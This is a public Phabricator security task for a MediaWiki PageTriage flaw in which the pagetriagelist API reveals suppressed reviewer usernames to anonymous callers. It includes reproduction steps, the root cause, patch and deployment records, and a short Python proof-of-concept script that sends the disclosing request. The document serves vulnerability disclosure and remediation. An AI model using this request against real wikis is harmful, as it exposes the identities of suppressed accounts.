Page MenuHomePhabricator

CVE-2026-103440: PageTriage pagetriagelist discloses suppressed reviewer usernames
Closed, ResolvedPublicSecurity

Description

From a report to security@

PageTriage pagetriagelist discloses suppressed reviewer usernames

Summary

An anonymous caller can use the pagetriagelist API to identify a user whose name has been suppressed when that user is recorded as the reviewer of a PageTriage page. The API correctly redacts a suppressed page creator, but it unconditionally serializes the reviewer name and user-page URLs. This defeats the privacy protection for suppressed accounts through review metadata; no authentication or victim action is required for the lookup.

Tested product/version/build: MediaWiki 1.47.0-alpha, revision 228d5c2a83bc5ce54dc4df9928457c4343c60fe8, with PageTriage enabled as it is for English Wikipedia. Prerequisite: a PageTriage review record for a user whose username has been suppressed. Creating that state requires a suppressor; the disclosure request itself is anonymous.

Steps to reproduce

  1. On a wiki with PageTriage enabled, have a reviewer mark a page as reviewed through action=pagetriageaction&reviewed=1.
  2. Use the normal suppression workflow to suppress the reviewer’s username. The setup requires a suppressor, but the disclosure request does not.
  3. As an anonymous user, request:

    GET /w/api.php?action=pagetriagelist&page_id=<PAGE_ID>&format=json
  1. The response contains the suppressed reviewer’s username and profile URLs in reviewer, reviewer_user_page, reviewer_user_page_url, reviewer_user_talk_page, and reviewer_contribution_page.

In local validation, the creator remained visible while the suppressed reviewer was returned with these fields; the same response did not set reviewer_hidden.

Result

{"reviewer":"SuppressedReviewer","reviewer_user_page":"User:SuppressedReviewer","reviewer_user_page_url":"https://wiki.example/wiki/User:SuppressedReviewer","creator":"VisibleCreator","creator_hidden":false}

Root cause

ApiPageTriageList.php checks User::isHidden() for the page creator and sets user_name to null, but the reviewer branch calls createUserInfo() without loading or checking the reviewer’s hidden status. The reviewer name is selected from ptrp_last_reviewed_by and then exposed through the public API.

Impact

Anonymous users can recover the identities of suppressed accounts from PageTriage review history, including direct account, talk-page, and contribution links. This is a privacy disclosure that bypasses MediaWiki’s suppressed-username protection for a public API metadata path.

PROOF OF CONCEPT

Run this only against an authorized instance. The request is unauthenticated and performs a read-only GET request.

#!/usr/bin/env python3
import argparse
import json
import urllib.parse
import urllib.request


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("--page-id", required=True, type=int)
    parser.add_argument("--api-url", required=True)
    args = parser.parse_args()

    query = urllib.parse.urlencode({
        "action": "pagetriagelist",
        "page_id": args.page_id,
        "format": "json",
    })
    separator = "&" if "?" in args.api_url else "?"
    request_url = args.api_url + separator + query

    request = urllib.request.Request(
        request_url,
        headers={"User-Agent": "MediaWiki-PageTriage-security-test/1.0"},
    )

    with urllib.request.urlopen(request) as response:
        result = json.load(response)

    print(json.dumps(result, indent=2, ensure_ascii=False))


if __name__ == "__main__":
    main()

Example:

python3 pagetriage_suppressed_reviewer_disclosure.py \
  --page-id <PAGE_ID> \
  --api-url https://authorized.example/w/api.php

Event Timeline

Restricted Application added a subscriber: Aklapper. · View Herald Transcript
Catrope added a project: SecTeam-Processed.
Catrope moved this task from Incoming to In Progress on the Security-Team board.

@Samwalton9-WMF I would appreciate your review on this patch

LGTM and works on local testing


Patch applied against:

sbassett subscribed.

The Security-Team will plan to deploy this patch this Thursday. And we of course welcome any additional +1s, etc.

SecurityPatchBot raised the priority of this task from High to Unbreak Now!.Sat, Sep 19, 11:50 PM
Patch is blocking upcoming release

Patch 01-T435623.patch is currently failing to apply for the most recent code in the mainline branch of extensions/PageTriage. This is blocking MediaWiki release 1.47.0-wmf.21(T438217)


If the patch needs to be rebased

A new version of the patch can be placed at the right location in the deployment server with the following Scap command:

REVISED_PATCH=<path_to_revised_patch>
scap update-patch --message-body 'Rebase to solve merge conflicts' /srv/patches/next/extensions/PageTriage/01-T435623.patch "$REVISED_PATCH"

If the patch has been made public

The patch can be dropped in the deployment server with the following Scap command:

scap remove-patch --message-body 'Dropping patch already made public' /srv/patches/next/extensions/PageTriage/01-T435623.patch
sbassett lowered the priority of this task from Unbreak Now! to High.Mon, Sep 21, 1:09 AM

Rebased patch that has been uploaded to the deploy server

Mstyles lowered the priority of this task from High to Medium.Mon, Sep 21, 5:44 PM

Change #1346654 had a related patch set uploaded (by SBassett; author: Mstyles):

[mediawiki/extensions/PageTriage@REL1_45] SECURITY: Do not show the name of a suppressed reviewer

https://gerrit.wikimedia.org/r/1346654

Change #1346656 had a related patch set uploaded (by SBassett; author: Mstyles):

[mediawiki/extensions/PageTriage@REL1_43] SECURITY: Do not show the name of a suppressed reviewer

https://gerrit.wikimedia.org/r/1346656

Change #1346650 merged by jenkins-bot:

[mediawiki/extensions/PageTriage@REL1_46] SECURITY: Do not show the name of a suppressed reviewer

https://gerrit.wikimedia.org/r/1346650

Change #1346645 merged by jenkins-bot:

[mediawiki/extensions/PageTriage@master] SECURITY: Do not show the name of a suppressed reviewer

https://gerrit.wikimedia.org/r/1346645

Change #1346654 merged by jenkins-bot:

[mediawiki/extensions/PageTriage@REL1_45] SECURITY: Do not show the name of a suppressed reviewer

https://gerrit.wikimedia.org/r/1346654

Change #1346656 merged by jenkins-bot:

[mediawiki/extensions/PageTriage@REL1_43] SECURITY: Do not show the name of a suppressed reviewer

https://gerrit.wikimedia.org/r/1346656

sbassett renamed this task from PageTriage pagetriagelist discloses suppressed reviewer usernames to CVE-2026-103440: PageTriage pagetriagelist discloses suppressed reviewer usernames.Wed, Sep 30, 5:39 PM
sbassett closed this task as Resolved.
sbassett changed Author Affiliation from N/A to Other (Please specify in description).
sbassett removed a project: Patch-For-Review.
sbassett changed the visibility from "Custom Policy" to "Public (No Login Required)".
sbassett changed the edit policy from "Custom Policy" to "All Users".
sbassett changed Risk Rating from N/A to Low.

What is a case where this would even happen??